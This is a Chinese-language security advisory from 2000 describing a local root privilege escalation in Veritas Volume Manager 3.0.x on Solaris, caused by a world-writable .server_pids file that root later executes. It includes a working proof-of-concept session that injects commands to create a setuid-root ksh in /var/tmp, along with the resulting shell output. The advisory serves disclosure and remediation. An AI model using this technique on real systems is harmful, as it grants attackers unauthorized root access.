Veritas Volume Manager 3.0.x权限设置漏洞发布时间:2000-05-16 更新时间:2000-05-16 严重程度:高 威胁程度:本地管理员权限 错误类型:配置错误 利用方式:服务器模式 受影响系统 Veritas Volume Manager详细描述 Veritas Volume Manager 3.0.x for Solaris的权限设置不当漏洞能让本地攻击者获得管理员权限。 测试代码 当 Veritas Volume Manger 3.0.x 安装为主引导时,Storage Administrator Server 的初始化脚本(/etc/rc2.d/S96vmsa-server) 没有首先指定 umask 就执行了. 当服务 器继续运行时,会建立 /var/opt/vmsa/logs/.server_pids 并许可权是继承了之前的 umask ,因为指针上并没有 umask,.server_pids 的文件许可权设置为 666. 一个启动,停止和查询 Storage Administrator Server 的脚本 (/opt/VRTSvmsa/bin/vmsa_server) 含有以下代码: stop_server() { if [ -f $LOGDIR/.server_pids ]; then echo "Stopping $CNAME Server" /bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1 rm -f $LOGDIR/.server_pids else echo "Unable to stop $CNAME Server" fi } 当这个函数执行时,将使用这个文件中的许可权 /var/opt/vmsa/logs/.server_pids. 当这个文件是任何人可写时一个并没有特权的用户可以加入任意命令到里面,如果执行 函数,这些命令会以 root 身份执行。这个 stop_server() 函数只会在特权用户手动 停止 Storage Administrator Server 时调用; 它不会在关闭系统时调用,无论如何, 如果 root 经常使用 vmsa_server 手动关闭的话,这系统会受影响。 论证: # 贴上我们的小命令到那个任何人可写的文件 foo@bar> id uid=500(foo) gid=25(programmers) foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids -rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids foo@bar> cat >> /var/opt/vmsa/logs/.server_pids cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh ^D foo@bar> cat /var/opt/vmsa/logs/.server_pids kill 328 kill 329 kill 337 cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh foo@bar> # 等待 root 手动停止这个服务 root@bar> /opt/VRTSvmsa/bin/vmsa_server -k Stopping VERITAS VM Storage Administrator Server root@bar> ls -alt /var/tmp total 406 drwxrwxrwt 2 sys sys 512 Jun 8 17:46 . -rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh -rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0 drwxr-xr-x 26 root sys 512 Jun 8 09:51 .. # 用一个没有特权的用户执行我们刚刚建立的 suid-root shell ... foo@bar> /var/tmp/ksh # id uid=500(foo) gid=25(programmers) euid=0(root) # 解决方案 升级到3.1的测试版。 相关信息 |